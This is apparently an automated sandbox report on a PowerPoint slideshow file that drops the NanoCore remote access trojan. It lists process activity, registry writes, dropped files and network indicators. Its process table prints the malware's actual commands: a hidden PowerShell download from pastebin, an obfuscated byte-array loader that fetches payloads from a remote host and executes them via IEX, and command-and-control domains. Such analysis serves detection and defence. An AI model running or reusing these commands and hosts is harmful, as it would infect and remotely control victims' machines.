File name:

1e576454f3270d0f174d37cd9409384c

Full analysis: https://app.any.run/tasks/0816e470-a9b5-4dde-995a-57061c480f67
Verdict: Malicious activity
Threats:

NanoCore is a Remote Access Trojan or RAT. This malware is highly customizable with plugins which allow attackers to tailor its functionality to their needs. Nanocore is created with the .NET framework and it’s available for purchase for just $25 from its “official” website.

Analysis date: July 18, 2019, 05:38:57
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
nanocore
Indicators:
MIME: application/vnd.ms-powerpoint
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Title: Apresentao do PowerPoint, Author: Joselio Bonin, Last Saved By: Joselio Bonin, Revision Number: 2, Name of Creating Application: Microsoft Office PowerPoint, Total Editing Time: 01:01:00, Create Time/Date: Mon Jul 15 02:44:15 2019, Last Saved Time/Date: Mon Jul 15 03:45:15 2019, Number of Words: 0
MD5:

1E576454F3270D0F174D37CD9409384C

SHA1:

DBC1878141384A0B8B91DF78ACA680E508AB9808

SHA256:

F05D77356231805D001FF27CB1BCC2FC371F9161DD658CC34A7FEEE716E98D3C

SSDEEP:

192:EY/faovRIkjOFHmHCp4pSmRp1/LPV1B8gy08C7el1W5RGiLOPxbdI5AxjV+uf8g8:RDRIkjQG64pzRprjB17fGkH

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Executes PowerShell scripts

      • POWERPNT.EXE (PID: 2848)
    • Runs PING.EXE for delay simulation

      • cmd.exe (PID: 3032)
    • Starts CMD.EXE for commands execution

      • POWERPNT.EXE (PID: 2848)
    • NanoCore was detected

      • CasPol.exe (PID: 1184)
    • Unusual execution from Microsoft Office

      • POWERPNT.EXE (PID: 2848)
    • Loads the Task Scheduler COM API

      • WScript.exe (PID: 3532)
  • SUSPICIOUS

    • Checks supported languages

      • POWERPNT.EXE (PID: 2848)
    • Executed via WMI

      • Powershell.exe (PID: 3784)
      • cmd.exe (PID: 2760)
    • Executes scripts

      • cmd.exe (PID: 3032)
    • PowerShell script executed

      • Powershell.exe (PID: 3784)
    • Creates files in the user directory

      • cmd.exe (PID: 2760)
      • Powershell.exe (PID: 3784)
      • CasPol.exe (PID: 1184)
      • powershell.exe (PID: 576)
  • INFO

    • Reads Microsoft Office registry keys

      • POWERPNT.EXE (PID: 2848)
    • Reads settings of System Certificates

      • powershell.exe (PID: 576)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.pps/ppt | Microsoft PowerPoint document (79.7)

EXIF

FlashPix

Title: Apresentação do PowerPoint
Author: Joselio Bonin
LastModifiedBy: Joselio Bonin
RevisionNumber: 2
Software: Microsoft Office PowerPoint
TotalEditTime: 1.0 hours
CreateDate: 2019:07:15 01:44:15
ModifyDate: 2019:07:15 02:45:15
Words: -
ThumbnailClip: (Binary data 43336 bytes, use -b option to extract)
CodePage: Windows Latin 1 (Western European)
PresentationTarget: Widescreen
Bytes: -
Paragraphs: -
Slides: 1
Notes: -
HiddenSlides: -
MMClips: -
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts:
  • Arial
  • Calibri
  • Calibri Light
  • Tema do Office
  • Apresentação do PowerPoint
HeadingPairs:
  • Fontes usadas
  • 3
  • Tema
  • 1
  • Títulos de slides
  • 1
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
49
Monitored processes
8
Malicious processes
3
Suspicious processes
1

Behavior graph

Click at the process to see the details
start powerpnt.exe no specs powershell.exe cmd.exe no specs ping.exe no specs wscript.exe no specs powershell.exe cmd.exe no specs #NANOCORE caspol.exe

Process information

PID
CMD
Path
Indicators
Parent process
576"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object Net.WebClient).DownloadFile('https://pastebin.com/raw/TBqyeGg9','C:\Users\admin\AppData\Local\Temp\Desktop.vbs')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POWERPNT.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1184"{path}"C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft .NET Framework CAS Policy Manager
Exit code:
0
Version:
2.0.50727.5420 (Win7SP1.050727-5400)
Modules
Images
c:\windows\microsoft.net\framework\v2.0.50727\caspol.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
2760cmd /c copy "C:\Users\admin\AppData\Local\Temp\Desktop.vbs" "C:\Users\admin\AppData\Roaming" /YC:\Windows\system32\cmd.exewmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2848"C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" /s "C:\Users\admin\AppData\Local\Temp\1e576454f3270d0f174d37cd9409384c.pps"C:\Program Files\Microsoft Office\Office14\POWERPNT.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft PowerPoint
Exit code:
0
Version:
14.0.6009.1000
Modules
Images
c:\program files\microsoft office\office14\powerpnt.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\program files\microsoft office\office14\ppcore.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3032"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 > nul & start ,C:\Users\admin\AppData\Local\Temp\Desktop.vbsC:\Windows\System32\cmd.exePOWERPNT.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3532"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Desktop.vbs" C:\Windows\System32\WScript.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3784Powershell $Mo=@(91,118,111,105,100,93,32,91,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,65,115,115,101,109,98,108,121,93,58,58,76,111,97,100,87,105,116,104,80,97,114,116,105,97,108,78,97,109,101,40,39,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,39,41,59,36,102,106,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,110,108,111,97,100,83,116,114,105,110,103,39,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,58,47,47,119,119,119,46,109,57,99,46,110,101,116,47,117,112,108,111,97,100,115,47,49,53,54,50,56,54,53,55,50,48,49,46,106,112,103,39,41,124,73,69,88,59,91,66,121,116,101,91,93,93,36,102,61,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,97,108,108,66,121,110,97,109,101,40,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,44,39,68,111,119,110,108,111,97,100,83,116,114,105,110,103,39,44,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,67,97,108,108,84,121,112,101,93,58,58,77,101,116,104,111,100,44,39,104,116,116,112,58,47,47,119,119,119,46,109,57,99,46,110,101,116,47,117,112,108,111,97,100,115,47,49,53,54,51,49,53,56,50,57,55,49,46,106,112,103,39,41,46,114,101,112,108,97,99,101,40,39,36,36,36,39,44,39,48,120,48,39,41,124,73,69,88,59,91,107,46,72,97,99,107,105,116,117,112,93,58,58,101,120,101,40,39,67,97,115,80,111,108,46,101,120,101,39,44,36,102,41);[System.Text.Encoding]::ASCII.GetString($Mo)|IEXC:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3932ping 127.0.0.1 -n 10 C:\Windows\system32\PING.EXEcmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
TCP/IP Ping Command
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ping.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\nsi.dll
Total events
1 756
Read events
1 586
Write events
161
Delete events
9

Modification events

(PID) Process:(2848) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Resiliency\StartupItems
Operation:writeName:ol"
Value:
6F6C2200200B0000010000000000000000000000
(PID) Process:(2848) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2848) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2848) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint
Operation:writeName:MTTT
Value:
200B0000844EA0202B3DD50100000000
(PID) Process:(2848) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Direct3D\MostRecentApplication
Operation:writeName:Name
Value:
POWERPNT.EXE
(PID) Process:(2848) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Resiliency\DocumentRecovery\17D13B
Operation:writeName:17D13B
Value:
04000000200B0000070000004100500050002D005000500054000000000000000000026000000000000000000000000000003BD117003BD11700000000000000000000000000
(PID) Process:(2848) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Options
Operation:writeName:AppMaximized
Value:
0
(PID) Process:(2848) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Resiliency\DocumentRecovery\17D13B
Operation:writeName:17D13B
Value:
04000000200B0000070000004100500050002D0050005000540000000000000000000260000000000000601228212B3DD5013BD117003BD1170000000000F8040000FDFCFBFA96010700000000006E0000006E0000002E0400006302000000000000000000000000000000000000AA060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002F07000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000AC06000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F105000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000BD06000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000BD05000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000D805000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A6060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004607000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F0060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002708000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000B505000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000B70500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002F07000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000E9050000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009A08000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000D20800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000
(PID) Process:(2848) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Resiliency\StartupItems
Operation:delete valueName:ol"
Value:
6F6C2200200B0000010000000000000000000000
(PID) Process:(2848) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\Resiliency\StartupItems
Operation:delete keyName:
Value:
Executable files
0
Suspicious files
4
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
2848POWERPNT.EXEC:\Users\admin\AppData\Local\Temp\CVRD07F.tmp.cvr
MD5:
SHA256:
576powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\43XIQRFHAZXK6RXXATYU.temp
MD5:
SHA256:
2848POWERPNT.EXEC:\Users\admin\AppData\Local\Temp\~DFE12824FCA0F85406.TMP
MD5:
SHA256:
3784Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1HVEGX2KCWPDV24YJKIN.temp
MD5:
SHA256:
576powershell.exeC:\Users\admin\AppData\Local\Temp\Desktop.vbstext
MD5:
SHA256:
3784Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:
SHA256:
576powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF182a47.TMPbinary
MD5:
SHA256:
576powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:
SHA256:
3784Powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF18504d.TMPbinary
MD5:
SHA256:
1184CasPol.exeC:\Users\admin\AppData\Roaming\90059C37-1320-41A4-B58D-2B75A9850D2F\run.dattext
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
33
DNS requests
17
Threats
15

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3784
Powershell.exe
GET
200
158.69.18.61:80
http://www.m9c.net/uploads/15628657201.jpg
CA
text
945 Kb
malicious
3784
Powershell.exe
GET
200
158.69.18.61:80
http://www.m9c.net/uploads/15631582971.jpg
CA
text
1.22 Mb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
576
powershell.exe
104.20.209.21:443
pastebin.com
Cloudflare Inc
US
shared
3784
Powershell.exe
158.69.18.61:80
www.m9c.net
OVH SAS
CA
malicious
1184
CasPol.exe
152.253.153.118:54984
soucdtevoceumcuzao.duckdns.org
TELEFÔNICA BRASIL S.A
BR
unknown
1184
CasPol.exe
8.8.8.8:53
Google Inc.
US
malicious
1184
CasPol.exe
152.246.81.100:54984
microsoftoutlook.duckdns.org
TELEFÔNICA BRASIL S.A
BR
malicious
8.8.8.8:53
Google Inc.
US
malicious

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.209.21
  • 104.20.208.21
malicious
www.m9c.net
  • 158.69.18.61
malicious
soucdtevoceumcuzao.duckdns.org
  • 152.253.153.118
malicious
microsoftoutlook.duckdns.org
  • 152.246.81.100
malicious

Threats

PID
Process
Class
Message
1184
CasPol.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
1184
CasPol.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
1184
CasPol.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
1184
CasPol.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
1184
CasPol.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
1184
CasPol.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
1184
CasPol.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
1184
CasPol.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
1184
CasPol.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
1184
CasPol.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
No debug info